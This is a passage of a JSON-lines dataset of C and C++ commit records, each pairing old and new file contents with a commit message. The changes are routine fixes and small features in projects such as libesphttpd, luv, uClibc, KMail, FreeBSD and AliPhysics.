*opts);\n\n","subject":"Comment out unused fields in kndLearnerService","message":"Comment out unused fields in kndLearnerService\n","lang":"C","license":"agpl-3.0","repos":"globbie\/knowdy,globbie\/knowdy,globbie\/knowdy"}
{"commit":"fc3cad92574b76d27c629b704f23c70ef46a2428","old_file":"core\/httpd-platform.h","new_file":"core\/httpd-platform.h","old_contents":"#ifndef HTTPD_PLATFORM_H\n#define HTTPD_PLATFORM_H\n\nvoid httpdPlatSendData(ConnTypePtr conn, char *buff, int len);\nvoid httpdPlatDisconnect(ConnTypePtr conn);\nvoid httpdPlatInit(int port, int maxConnCt);\n\n#endif","new_contents":"#ifndef HTTPD_PLATFORM_H\n#define HTTPD_PLATFORM_H\n\nint httpdPlatSendData(ConnTypePtr conn, char *buff, int len);\nvoid httpdPlatDisconnect(ConnTypePtr conn);\nvoid httpdPlatInit(int port, int maxConnCt);\n\n#endif","subject":"Change to send routine: return status","message":"Change to send routine: return status\n","lang":"C","license":"mpl-2.0","repos":"chmorgan\/libesphttpd"}
{"commit":"04e7f7e951bcefbc37e8e127cf268c67f9a20e17","old_file":"setcapslock.c","new_file":"setcapslock.c","old_contents":"#include <stdio.h>\n#include <string.h>\n\n#include <X11\/Xlib.h>\n#include <X11\/XKBlib.h>\n\n#define CAPSLOCK 2\n\n\nvoid setcaps(int on)\n{\n   Display* display = XOpenDisplay(NULL);\n   XkbLockModifiers(display, XkbUseCoreKbd, CAPSLOCK, on ? CAPSLOCK : 0);\n   XCloseDisplay(display);\n}\n\n\nvoid usage(const char* program_name)\n{\n    printf(\"Usage: %s [on|off]\\n\\n\", program_name);\n    printf(\"Use '%s' to disable your caps key\");\n}\n\n\nint main(int argc, char** argv)\n{\n    if (argc > 2) {\n        usage(argv[0]);\n        return 1;\n    }\n\n    int on = 1;\n    if (argc == 2) {\n        if (strcmp(argv[1], \"on\") == 0) {\n            on = 1;\n        }\n        else if (strcmp(argv[1], \"off\") == 0) {\n            on = 0;\n        }\n        else {\n            usage(argv[0]);\n            return 1;\n        }\n    }\n\n    setcaps(on);\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n#include <strings.h>\n\n#include <X11\/Xlib.h>\n#include <X11\/XKBlib.h>\n\n#define CAPSLOCK 2\n\n\nvoid setcaps(int on)\n{\n   Display* display = XOpenDisplay(NULL);\n   XkbLockModifiers(display, XkbUseCoreKbd, CAPSLOCK, on ? CAPSLOCK : 0);\n   XCloseDisplay(display);\n}\n\n\nvoid usage(const char* program_name)\n{\n    printf(\"Usage: %s [on|off]\\n\\n\", program_name);\n    printf(\"Use '%s' to disable your caps key\");\n}\n\n\nint main(int argc, char** argv)\n{\n    if (argc > 2) {\n        usage(argv[0]);\n        return 1;\n    }\n\n    int on = 1;\n    if (argc == 2) {\n        if (strcasecmp(argv[1], \"on\") == 0) {\n            on = 1;\n        }\n        else if (strcasecmp(argv[1], \"off\") == 0) {\n            on = 0;\n        }\n        else {\n            usage(argv[0]);\n            return 1;\n        }\n    }\n\n    setcaps(on);\n    return 0;\n}\n","subject":"Make command line argument case insensitive","message":"Make command line argument case insensitive\n","lang":"C","license":"unlicense","repos":"coldfix\/setcapslock"}
{"commit":"9dec0d1f2e9a86a174b6d51b552d198a24f9ae11","old_file":"SBUF.c","new_file":"SBUF.c","old_contents":"","new_contents":"#! \/usr\/bin\/tcc -run\n\n\/*** construct scroll ready screen buffer ***\/\n \n\/\/  y = 0,1,2 ... (text buffer   first line, second line, ...)\n\/\/  x = 0,1,2 ... (screen buffer first character in line y, ...) \n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n    size_t linecap;\n    FILE *fp;\n\ntypedef struct slot\n{\n    ssize_t size;\n    char *row;\n    int count;\n}   slot;\n\n    slot  line;\n    slot* text;\n\nvoid screenBuffer(int star, int stop)\n{\n    printf(\"%s\",\"entering screenBuffer\\n\");\n    slot* display = (slot *) malloc(     (25)*sizeof(slot));\n    for (int i=0; i<25; i++) {display[i].size  =   1;\n                              display[i].row   = \"~\";\n                              display[i].count =   0;}\n    int i; int dy = -1; \n    for (int i = star; i<(stop+1); i++)\n         {dy++ ; display[dy] = text[i];}\n\n    dy = -1 ;\n    for (int i = star; i<(stop+1); i++)\n         {\n          dy++ ;\n          int stringLength = display[dy].size;\n          char* pointerToString = display[dy].row;\n          printf(\"%.*s\", stringLength, pointerToString);\n         }\n\n}\n\nint readAline(void)\n{\n    line.row = NULL; linecap = 0;\n    line.size = getline (&line.row, &linecap, fp); \n\n    if (line.size == -1) {return line.size;}\n\n    if((line.count == 0)) \n         { text = (slot *) malloc(     (1+line.count)*sizeof(slot));}\n    else { text = (slot *)realloc(text,(1+line.count)*sizeof(slot));}\n\n    char * ptr = malloc(line.size*sizeof(char));\n    text[line.count].row = ptr  ;\n    text[line.count].size = line.size;\n    memcpy(ptr,line.row,line.size);  \n\n    line.count++; \n    return 0;\n}\n\nint main(int arc, char** argv)\n{\n    printf(\"\\n%s executing\\n\\n\",argv[0]);\n\n    char *filename = \"NDEX.dat\"; fp = fopen(filename,\"r\");\n    int lastline;\n\n    line.count = 0;\n    while((readAline() != -1)) {lastline = line.count;}\n\n    for (int y = 0; y < lastline;      y++)\n   {\n    for (int x = 0; x < text[y].size;  x++)\n    {char ch = text[y].row[x];    printf(\"%c\",ch);}\n   }\n\n   printf(\"%s\",\"here i should be\\n\");\n   screenBuffer(1,3);\n \n}\n\n\n\n","subject":"Add routine screenBuffer to enable scrolling view and to enable syntax highlighting.","message":"Add routine screenBuffer to enable scrolling view and to enable\nsyntax highlighting.\n","lang":"C","license":"bsd-2-clause","repos":"eingaeph\/pip.imbue.hood,eingaeph\/pip.imbue.hood"}
{"commit":"1bc76e90771befd2be6accd71b32ae2547e98f6a","old_file":"include\/user.c","new_file":"include\/user.c","old_contents":"#include \"user.h\"\n#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n\nuser_t* NewUser(int fd,char *addr,unsigned short port,char *name){\n    user_t *user = malloc(sizeof(user_t));\n    if(user == NULL){\n        goto ret;\n    }\n\n    if(fd < 0 || addr == NULL || name == NULL){\n        free(user);\n        user = NULL;\n        goto ret;\n    }\n\n    user->fd = fd;\n    strcpy(user->addr,addr);\n    user->port = port;\n    strcpy(user->name,name);\n    user->next = NULL;\n\nret:\n    return user;\n}\n\nvoid AddUserToList(user_t *root,user_t *newUser){\n    user_t *cur = root;\n    while(cur->next != NULL){\n        cur = cur->next;\n    }\n    cur->next = newUser;\n}\n\nint CheckUserValid(user_t *root,char *name){\n    user_t *cur=root;\n    int len = strlen(name);\n    if(len < 2 || len > 12){\n        return 0;\n    }\n    if(strcmp(name,\"anonymous\") == 0){\n        return 0;\n    }\n    while(cur != NULL){\n        if(strcmp(cur->name,name) == 0){\n            return 0;\n        }\n        cur = cur->next;\n    }\n    return 1;\n}\n","new_contents":"#include \"user.h\"\n#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n\nuser_t* NewUser(int fd,char *addr,unsigned short port,char *name){\n    user_t *user = malloc(sizeof(user_t));\n    if(user == NULL){\n        goto ret;\n    }\n\n    if(fd < 0 || addr == NULL || name == NULL){\n        free(user);\n        user = NULL;\n        goto ret;\n    }\n\n    user->fd = fd;\n    strcpy(user->addr,addr);\n    user->port = port;\n    strcpy(user->name,name);\n    user->next = NULL;\n\nret:\n    return user;\n}\n\nvoid AddUserToList(user_t *root,user_t *newUser){\n    user_t *cur = root;\n    if(root == NULL){\n        return;\n    }\n    while(cur->next != NULL){\n        cur = cur->next;\n    }\n    cur->next = newUser;\n}\n\nint CheckUserValid(user_t *root,char *name){\n    user_t *cur=root;\n    int len = strlen(name);\n    if(len < 2 || len > 12){\n        return 0;\n    }\n    if(strcmp(name,\"anonymous\") == 0){\n        return 0;\n    }\n    while(cur != NULL){\n        if(strcmp(cur->name,name) == 0){\n            return 0;\n        }\n        cur = cur->next;\n    }\n    return 1;\n}\n","subject":"Fix AddUserToList bug when root is NULL","message":"Fix AddUserToList bug when root is NULL\n","lang":"C","license":"apache-2.0","repos":"Billy4195\/Simple_Chatroom"}
{"commit":"a51cfb2c9e02993446f822a491bb9d2910883a19","old_file":"kmail\/kmversion.h","new_file":"kmail\/kmversion.h","old_contents":"\/\/ KMail Version Information\n\/\/\n#ifndef kmversion_h\n#define kmversion_h\n\n#define KMAIL_VERSION \"1.9.8\"\n\n#endif \/*kmversion_h*\/\n","new_contents":"\/\/ KMail Version Information\n\/\/\n#ifndef kmversion_h\n#define kmversion_h\n\n#define KMAIL_VERSION \"1.9.9\"\n\n#endif \/*kmversion_h*\/\n","subject":"Increase version number for KDE 3.5.9.","message":"Increase version number for KDE 3.5.9.\n\nsvn path=\/branches\/KDE\/3.5\/kdepim\/; revision=771811\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"f9d5482c1d20f6724ea6ddb4cd2395db0bdc670a","old_file":"src\/agent\/downloader.h","new_file":"src\/agent\/downloader.h","old_contents":"\/\/ Copyright (c) 2015, Galaxy Authors. All Rights Reserved\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ Author: yuanyi03@baidu.com\n\n#ifndef _DOWNLOAD_H\n#define _DOWNLOAD_H\n\n#include <string>\n\nnamespace galaxy {\n\nclass Downloader {\npublic:\n    virtual int Fetch(const std::string& uri, const std::string& dir) = 0;\n    virtual void Stop() = 0;\n};\n\n}   \/\/ ending namespace galaxy\n\n#endif  \/\/_DOWNLOAD_H\n\n\/* vim: set ts=4 sw=4 sts=4 tw=100 *\/\n","new_contents":"\/\/ Copyright (c) 2015, Galaxy Authors. All Rights Reserved\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ Author: yuanyi03@baidu.com\n\n#ifndef _DOWNLOAD_H\n#define _DOWNLOAD_H\n\n#include <string>\n\nnamespace galaxy {\n\nclass Downloader {\npublic:\n    virtual ~Downloader() {}\n    virtual int Fetch(const std::string& uri, const std::string& dir) = 0;\n    virtual void Stop() = 0;\n};\n\n}   \/\/ ending namespace galaxy\n\n#endif  \/\/_DOWNLOAD_H\n\n\/* vim: set ts=4 sw=4 sts=4 tw=100 *\/\n","subject":"Add virtual deconstructor for abstract class Downloader","message":"Add virtual deconstructor for abstract class Downloader\n","lang":"C","license":"bsd-3-clause","repos":"fxsjy\/galaxy,fxsjy\/galaxy,baidu\/galaxy,szxw\/galaxy,WangCrystal\/galaxy,sdgdsffdsfff\/galaxy,May2016\/galaxy,ontologyzsy\/galaxy,imotai\/galaxy,sdgdsffdsfff\/galaxy,Kai-Zhang\/galaxy,May2016\/galaxy,ontologyzsy\/galaxy,fxsjy\/galaxy,imotai\/galaxy,WangCrystal\/galaxy,imotai\/galaxy,linyvxiang\/galaxy,baidu\/galaxy,fxsjy\/galaxy,imotai\/galaxy,bluebore\/galaxy,Kai-Zhang\/galaxy,ontologyzsy\/galaxy,baidu\/galaxy,taotaowill\/galaxy,ontologyzsy\/galaxy,fxsjy\/galaxy,bluebore\/galaxy,taotaowill\/galaxy,linyvxiang\/galaxy,sdgdsffdsfff\/galaxy,May2016\/galaxy,WangCrystal\/galaxy,szxw\/galaxy,imotai\/galaxy,linyvxiang\/galaxy,linyvxiang\/galaxy,szxw\/galaxy,bluebore\/galaxy,bluebore\/galaxy,fxsjy\/galaxy,linyvxiang\/galaxy,szxw\/galaxy,Kai-Zhang\/galaxy,fxsjy\/galaxy,bluebore\/galaxy,sdgdsffdsfff\/galaxy,taotaowill\/galaxy,ontologyzsy\/galaxy,szxw\/galaxy,sdgdsffdsfff\/galaxy,linyvxiang\/galaxy"}
{"commit":"f3826a11eb29d54ecc30ed509699aaec7c20a969","old_file":"luv.c","new_file":"luv.c","old_contents":"#include <string.h>\n\n#include \"luv.h\"\n#include \"luv_functions.c\"\n\nint luv_newindex(lua_State* L) {\n  lua_getfenv(L, 1);\n  lua_pushvalue(L, 2);\n  lua_pushvalue(L, 3);\n  lua_rawset(L, -3);\n  lua_pop(L, 1);\n  return 0;\n}\n\nLUALIB_API int luaopen_luv (lua_State *L) {\n\n  luv_main_thread = L;\n\n  luaL_newmetatable(L, \"luv_handle\");\n  lua_pushcfunction(L, luv_newindex);\n  lua_setfield(L, -2, \"__newindex\");\n  lua_pop(L, 1);\n\n  \/\/ Module exports\n  lua_newtable (L);\n  luv_setfuncs(L, luv_functions);\n  return 1;\n}\n","new_contents":"#include <string.h>\n\n#include \"luv.h\"\n#include \"luv_functions.c\"\n\nstatic int luv_newindex(lua_State* L) {\n  lua_getfenv(L, 1);\n  lua_pushvalue(L, 2);\n  lua_pushvalue(L, 3);\n  lua_rawset(L, -3);\n  lua_pop(L, 1);\n  return 0;\n}\n\nstatic int luv_index(lua_State* L) {\n#ifdef LUV_STACK_CHECK\n  int top = lua_gettop(L);\n#endif\n  lua_getfenv(L, 1);\n  lua_pushvalue(L, 2);\n  lua_rawget(L, -2);\n  lua_remove(L, -2);\n#ifdef LUV_STACK_CHECK\n  assert(lua_gettop(L) == top + 1);\n#endif\n  return 1;\n}\n\nLUALIB_API int luaopen_luv (lua_State *L) {\n\n  luv_main_thread = L;\n\n  luaL_newmetatable(L, \"luv_handle\");\n  lua_pushcfunction(L, luv_newindex);\n  lua_setfield(L, -2, \"__newindex\");\n  lua_pushcfunction(L, luv_index);\n  lua_setfield(L, -2, \"__index\");\n  lua_pop(L, 1);\n\n  \/\/ Module exports\n  lua_newtable (L);\n  luv_setfuncs(L, luv_functions);\n  return 1;\n}\n","subject":"Allow reading back callbacks set to handles","message":"Allow reading back callbacks set to handles\n","lang":"C","license":"apache-2.0","repos":"leecrest\/luv,DBarney\/luv,RomeroMalaquias\/luv,brimworks\/luv,mkschreder\/luv,daurnimator\/luv,xpol\/luv,zhaozg\/luv,daurnimator\/luv,daurnimator\/luv,luvit\/luv,RomeroMalaquias\/luv,kidaa\/luv,brimworks\/luv,mkschreder\/luv,NanXiao\/luv,NanXiao\/luv,xpol\/luv,joerg-krause\/luv,joerg-krause\/luv,DBarney\/luv,zhaozg\/luv,luvit\/luv,kidaa\/luv,leecrest\/luv,RomeroMalaquias\/luv"}
{"commit":"f487686bba37f0a7a22f0f87d915b05115094948","old_file":"libc\/stdio\/gets.c","new_file":"libc\/stdio\/gets.c","old_contents":"\/* Copyright (C) 2004       Manuel Novoa III    <mjn3@codepoet.org>\n *\n * GNU Library General Public License (LGPL) version 2 or later.\n *\n * Dedicated to Toni.  See uClibc\/DEDICATION.mjn3 for details.\n *\/\n\n#include \"_stdio.h\"\n\nlink_warning(gets, \"the 'gets' function is dangerous and should not be used.\")\n\n\/* UNSAFE FUNCTION -- do not bother optimizing *\/\n\nlibc_hidden_proto(getchar_unlocked)\nlibc_hidden_proto(__fgetc_unlocked)\nlibc_hidden_proto(__stdin)\n\nchar *gets(char *s)\n{\n\tregister char *p = s;\n\tint c;\n\t__STDIO_AUTO_THREADLOCK_VAR;\n\n\t__STDIO_AUTO_THREADLOCK(stdin);\n\n\t\/* Note: don't worry about performance here... this shouldn't be used!\n\t * Therefore, force actual function call. *\/\n\twhile (((c = getchar_unlocked()) != EOF) && ((*p = c) != '\\n')) {\n\t\t++p;\n\t}\n\tif ((c == EOF) || (s == p)) {\n\t\ts = NULL;\n\t} else {\n\t\t*p = 0;\n\t}\n\n\t__STDIO_AUTO_THREADUNLOCK(stdin);\n\n\treturn s;\n}\n","new_contents":"\/* Copyright (C) 2004       Manuel Novoa III    <mjn3@codepoet.org>\n *\n * GNU Library General Public License (LGPL) version 2 or later.\n *\n * Dedicated to Toni.  See uClibc\/DEDICATION.mjn3 for details.\n *\/\n\n#include \"_stdio.h\"\n\nlink_warning(gets, \"the 'gets' function is dangerous and should not be used.\")\n\n\/* UNSAFE FUNCTION -- do not bother optimizing *\/\n\nlibc_hidden_proto(getchar_unlocked)\nlibc_hidden_proto(__fgetc_unlocked)\n#ifdef __STDIO_GETC_MACRO\nlibc_hidden_proto(__stdin)\n#else\n#define __stdin stdin\n#endif\n\nchar *gets(char *s)\n{\n\tregister char *p = s;\n\tint c;\n\t__STDIO_AUTO_THREADLOCK_VAR;\n\n\t__STDIO_AUTO_THREADLOCK(stdin);\n\n\t\/* Note: don't worry about performance here... this shouldn't be used!\n\t * Therefore, force actual function call. *\/\n\twhile (((c = getchar_unlocked()) != EOF) && ((*p = c) != '\\n')) {\n\t\t++p;\n\t}\n\tif ((c == EOF) || (s == p)) {\n\t\ts = NULL;\n\t} else {\n\t\t*p = 0;\n\t}\n\n\t__STDIO_AUTO_THREADUNLOCK(stdin);\n\n\treturn s;\n}\n","subject":"Build if GETC_MACRO use is disabled","message":"Build if GETC_MACRO use is disabled\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"da7beedbb4b1f5cfa2b546d6fe41bb158845afe0","old_file":"src\/pch.h","new_file":"src\/pch.h","old_contents":"#pragma once\r\n\r\n#define NOMINMAX\r\n#include <windows.h>\r\n\r\n#include <streams.h>\r\n\r\n#include <audioclient.h>\r\n#include <comdef.h>\r\n#include <malloc.h>\r\n#include <mmdeviceapi.h>\r\n#include <process.h>\r\n\r\n#include <algorithm>\r\n#include <array>\r\n#include <cassert>\r\n#include <deque>\r\n#include <functional>\r\n#include <future>\r\n#include <map>\r\n#include <memory>\r\n\r\n#include \"Utils.h\"\r\n\r\nnamespace SaneAudioRenderer\r\n{\r\n    _COM_SMARTPTR_TYPEDEF(IMMDeviceEnumerator, __uuidof(IMMDeviceEnumerator));\r\n    _COM_SMARTPTR_TYPEDEF(IMMDevice, __uuidof(IMMDevice));\r\n\r\n    _COM_SMARTPTR_TYPEDEF(IAudioClient, __uuidof(IAudioClient));\r\n    _COM_SMARTPTR_TYPEDEF(IAudioRenderClient, __uuidof(IAudioRenderClient));\r\n    _COM_SMARTPTR_TYPEDEF(IAudioClock, __uuidof(IAudioClock));\r\n\r\n    _COM_SMARTPTR_TYPEDEF(IMediaSample, __uuidof(IMediaSample));\r\n}\r\n","new_contents":"#pragma once\r\n\r\n#ifndef NOMINMAX\r\n#   define NOMINMAX\r\n#endif\r\n\r\n#include <windows.h>\r\n\r\n#include <streams.h>\r\n\r\n#include <audioclient.h>\r\n#include <comdef.h>\r\n#include <malloc.h>\r\n#include <mmdeviceapi.h>\r\n#include <process.h>\r\n\r\n#include <algorithm>\r\n#include <array>\r\n#include <cassert>\r\n#include <deque>\r\n#include <functional>\r\n#include <future>\r\n#include <map>\r\n#include <memory>\r\n\r\n#include \"Utils.h\"\r\n\r\nnamespace SaneAudioRenderer\r\n{\r\n    _COM_SMARTPTR_TYPEDEF(IMMDeviceEnumerator, __uuidof(IMMDeviceEnumerator));\r\n    _COM_SMARTPTR_TYPEDEF(IMMDevice, __uuidof(IMMDevice));\r\n\r\n    _COM_SMARTPTR_TYPEDEF(IAudioClient, __uuidof(IAudioClient));\r\n    _COM_SMARTPTR_TYPEDEF(IAudioRenderClient, __uuidof(IAudioRenderClient));\r\n    _COM_SMARTPTR_TYPEDEF(IAudioClock, __uuidof(IAudioClock));\r\n\r\n    _COM_SMARTPTR_TYPEDEF(IMediaSample, __uuidof(IMediaSample));\r\n}\r\n","subject":"Make sure NOMINMAX is not redefined","message":"Make sure NOMINMAX is not redefined\n","lang":"C","license":"lgpl-2.1","repos":"kasper93\/sanear,kasper93\/sanear,alexmarsev\/sanear,kasper93\/sanear,alexmarsev\/sanear"}
{"commit":"1ec14d4fd52cb05096b46a940d490433635508b4","old_file":"PWGLF\/NUCLEX\/Hypernuclei\/Vertexer3Body\/AliVertexerHyperTriton3Body.h","new_file":"PWGLF\/NUCLEX\/Hypernuclei\/Vertexer3Body\/AliVertexerHyperTriton3Body.h","old_contents":"#ifndef ALIVERTEXERHYPERTRITON3BODY_H\n#define ALIVERTEXERHYPERTRITON3BODY_H\n\n#include <AliVertexerTracks.h>\n\nclass AliESDVertex;\nclass AliESDtrack;\nclass AliExternalTrackParam;\n\nclass AliVertexerHyperTriton3Body\n{\npublic:\n  AliVertexerHyperTriton3Body();\n\n  AliESDVertex* GetCurrentVertex() { return mCurrentVertex; }\n\n  bool FindDecayVertex(AliESDtrack *track1, AliESDtrack *track2, AliESDtrack* track3, float b);\n  static void Find2ProngClosestPoint(AliExternalTrackParam *track1, AliExternalTrackParam *track2, float b, float* pos);\n\n  void SetMaxDinstanceInit(float maxD) { mMaxDistanceInitialGuesses = maxD; }\n  void SetToleranceGuessCompatibility(int tol) { mToleranceGuessCompatibility = tol; }\n\n  AliVertexerTracks mVertexerTracks;\n\nprivate:\n  AliESDVertex* mCurrentVertex;\n\n  float mPosition[3];\n  float mCovariance[6];\n\n  float mMaxDistanceInitialGuesses;\n  int mToleranceGuessCompatibility;\n};\n\n#endif","new_contents":"#ifndef ALIVERTEXERHYPERTRITON3BODY_H\n#define ALIVERTEXERHYPERTRITON3BODY_H\n\nclass TClonesArray; \/\/\/ This will be removed as soon as alisw\/AliRoot#898 is merged and a new tag is available\n\n#include <AliVertexerTracks.h>\n\nclass AliESDVertex;\nclass AliESDtrack;\nclass AliExternalTrackParam;\n\nclass AliVertexerHyperTriton3Body\n{\npublic:\n  AliVertexerHyperTriton3Body();\n\n  AliESDVertex* GetCurrentVertex() { return mCurrentVertex; }\n\n  bool FindDecayVertex(AliESDtrack *track1, AliESDtrack *track2, AliESDtrack* track3, float b);\n  static void Find2ProngClosestPoint(AliExternalTrackParam *track1, AliExternalTrackParam *track2, float b, float* pos);\n\n  void SetMaxDinstanceInit(float maxD) { mMaxDistanceInitialGuesses = maxD; }\n  void SetToleranceGuessCompatibility(int tol) { mToleranceGuessCompatibility = tol; }\n\n  AliVertexerTracks mVertexerTracks;\n\nprivate:\n  AliESDVertex* mCurrentVertex;\n\n  float mPosition[3];\n  float mCovariance[6];\n\n  float mMaxDistanceInitialGuesses;\n  int mToleranceGuessCompatibility;\n};\n\n#endif","subject":"Fix for missing forward declaration in AliROOT","message":"Fix for missing forward declaration in AliROOT\n","lang":"C","license":"bsd-3-clause","repos":"AMechler\/AliPhysics,victor-gonzalez\/AliPhysics,kreisl\/AliPhysics,hcab14\/AliPhysics,pbuehler\/AliPhysics,carstooon\/AliPhysics,fcolamar\/AliPhysics,AMechler\/AliPhysics,dmuhlhei\/AliPhysics,dmuhlhei\/AliPhysics,preghenella\/AliPhysics,hcab14\/AliPhysics,akubera\/AliPhysics,sebaleh\/AliPhysics,hcab14\/AliPhysics,fbellini\/AliPhysics,dmuhlhei\/AliPhysics,fbellini\/AliPhysics,SHornung1\/AliPhysics,victor-gonzalez\/AliPhysics,pbuehler\/AliPhysics,hzanoli\/AliPhysics,amatyja\/AliPhysics,nschmidtALICE\/AliPhysics,fbellini\/AliPhysics,preghenella\/AliPhysics,amaringarcia\/AliPhysics,adriansev\/AliPhysics,hzanoli\/AliPhysics,alisw\/AliPhysics,amaringarcia\/AliPhysics,amatyja\/AliPhysics,pchrista\/AliPhysics,sebaleh\/AliPhysics,preghenella\/AliPhysics,carstooon\/AliPhysics,alisw\/AliPhysics,pchrista\/AliPhysics,nschmidtALICE\/AliPhysics,btrzecia\/AliPhysics,rbailhac\/AliPhysics,amatyja\/AliPhysics,pchrista\/AliPhysics,mpuccio\/AliPhysics,btrzecia\/AliPhysics,amatyja\/AliPhysics,akubera\/AliPhysics,mpuccio\/AliPhysics,mvala\/AliPhysics,nschmidtALICE\/AliPhysics,lcunquei\/AliPhysics,SHornung1\/AliPhysics,mpuccio\/AliPhysics,carstooon\/AliPhysics,alisw\/AliPhysics,hcab14\/AliPhysics,alisw\/AliPhysics,rihanphys\/AliPhysics,hcab14\/AliPhysics,preghenella\/AliPhysics,SHornung1\/AliPhysics,alisw\/AliPhysics,sebaleh\/AliPhysics,mvala\/AliPhysics,kreisl\/AliPhysics,rbailhac\/AliPhysics,rihanphys\/AliPhysics,rbailhac\/AliPhysics,rbailhac\/AliPhysics,akubera\/AliPhysics,kreisl\/AliPhysics,mpuccio\/AliPhysics,rihanphys\/AliPhysics,kreisl\/AliPhysics,pbuehler\/AliPhysics,btrzecia\/AliPhysics,nschmidtALICE\/AliPhysics,sebaleh\/AliPhysics,akubera\/AliPhysics,kreisl\/AliPhysics,AMechler\/AliPhysics,lcunquei\/AliPhysics,adriansev\/AliPhysics,kreisl\/AliPhysics,hcab14\/AliPhysics,carstooon\/AliPhysics,victor-gonzalez\/AliPhysics,amaringarcia\/AliPhysics,SHornung1\/AliPhysics,btrzecia\/AliPhysics,sebaleh\/AliPhysics,akubera\/AliPhysics,carstooon\/AliPhysics,kreisl\/AliPhysics,victor-gonzalez\/AliPhysics,rihanphys\/AliPhysics,AMechler\/AliPhysics,victor-gonzalez\/AliPhysics,AMechler\/AliPhysics,amaringarcia\/AliPhysics,preghenella\/AliPhysics,pchrista\/AliPhysics,rbailhac\/AliPhysics,amaringarcia\/AliPhysics,pchrista\/AliPhysics,lcunquei\/AliPhysics,fcolamar\/AliPhysics,lcunquei\/AliPhysics,fcolamar\/AliPhysics,victor-gonzalez\/AliPhysics,btrzecia\/AliPhysics,mpuccio\/AliPhysics,amatyja\/AliPhysics,pchrista\/AliPhysics,btrzecia\/AliPhysics,SHornung1\/AliPhysics,lcunquei\/AliPhysics,pbuehler\/AliPhysics,amatyja\/AliPhysics,adriansev\/AliPhysics,preghenella\/AliPhysics,hcab14\/AliPhysics,adriansev\/AliPhysics,fcolamar\/AliPhysics,fbellini\/AliPhysics,hzanoli\/AliPhysics,adriansev\/AliPhysics,hzanoli\/AliPhysics,AMechler\/AliPhysics,fbellini\/AliPhysics,akubera\/AliPhysics,fcolamar\/AliPhysics,hzanoli\/AliPhysics,rbailhac\/AliPhysics,preghenella\/AliPhysics,adriansev\/AliPhysics,AMechler\/AliPhysics,rihanphys\/AliPhysics,hzanoli\/AliPhysics,dmuhlhei\/AliPhysics,mvala\/AliPhysics,carstooon\/AliPhysics,amaringarcia\/AliPhysics,SHornung1\/AliPhysics,lcunquei\/AliPhysics,rihanphys\/AliPhysics,victor-gonzalez\/AliPhysics,pbuehler\/AliPhysics,fcolamar\/AliPhysics,carstooon\/AliPhysics,fcolamar\/AliPhysics,dmuhlhei\/AliPhysics,nschmidtALICE\/AliPhysics,mvala\/AliPhysics,pbuehler\/AliPhysics,adriansev\/AliPhysics,btrzecia\/AliPhysics,mpuccio\/AliPhysics,rihanphys\/AliPhysics,lcunquei\/AliPhysics,mvala\/AliPhysics,nschmidtALICE\/AliPhysics,fbellini\/AliPhysics,mvala\/AliPhysics,fbellini\/AliPhysics,alisw\/AliPhysics,amaringarcia\/AliPhysics,pbuehler\/AliPhysics,hzanoli\/AliPhysics,alisw\/AliPhysics,amatyja\/AliPhysics,akubera\/AliPhysics,sebaleh\/AliPhysics,dmuhlhei\/AliPhysics,dmuhlhei\/AliPhysics,sebaleh\/AliPhysics,mpuccio\/AliPhysics,SHornung1\/AliPhysics,rbailhac\/AliPhysics,nschmidtALICE\/AliPhysics,mvala\/AliPhysics,pchrista\/AliPhysics"}
{"commit":"2f40aad6b9d0ed57c32b48854d4b7a4358924738","old_file":"sys\/i386\/linux\/linux_genassym.c","new_file":"sys\/i386\/linux\/linux_genassym.c","old_contents":"\/* $FreeBSD$ *\/\n\n#include <sys\/param.h>\n#include <sys\/assym.h>\n\n#include <i386\/linux\/linux.h>\n\nASSYM(LINUX_SIGF_HANDLER, offsetof(struct l_sigframe, sf_handler));\nASSYM(LINUX_SIGF_SC, offsetof(struct l_sigframe, sf_sc));\nASSYM(LINUX_SC_GS, offsetof(struct l_sigcontext, sc_gs));\nASSYM(LINUX_SC_EFLAGS, offsetof(struct l_sigcontext, sc_eflags));\nASSYM(LINUX_RT_SIGF_HANDLER, offsetof(struct l_rt_sigframe, sf_handler));\nASSYM(LINUX_RT_SIGF_UC, offsetof(struct l_rt_sigframe, sf_sc));\n","new_contents":"\/* $FreeBSD$ *\/\n\n#include <sys\/param.h>\n#include <sys\/assym.h>\n#include <sys\/systm.h>\n\n#include <i386\/linux\/linux.h>\n\nASSYM(LINUX_SIGF_HANDLER, offsetof(struct l_sigframe, sf_handler));\nASSYM(LINUX_SIGF_SC, offsetof(struct l_sigframe, sf_sc));\nASSYM(LINUX_SC_GS, offsetof(struct l_sigcontext, sc_gs));\nASSYM(LINUX_SC_EFLAGS, offsetof(struct l_sigcontext, sc_eflags));\nASSYM(LINUX_RT_SIGF_HANDLER, offsetof(struct l_rt_sigframe, sf_handler));\nASSYM(LINUX_RT_SIGF_UC, offsetof(struct l_rt_sigframe, sf_sc));\n","subject":"Include <sys\/systm.h> for the definition of offsetof() instead of depending on the definition being misplaced in <sys\/types.h>. The definition probably belongs in <sys\/stddef.h>.","message":"Include <sys\/systm.h> for the definition of offsetof() instead of depending\non the definition being misplaced in <sys\/types.h>.  The definition probably\nbelongs in <sys\/stddef.h>.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
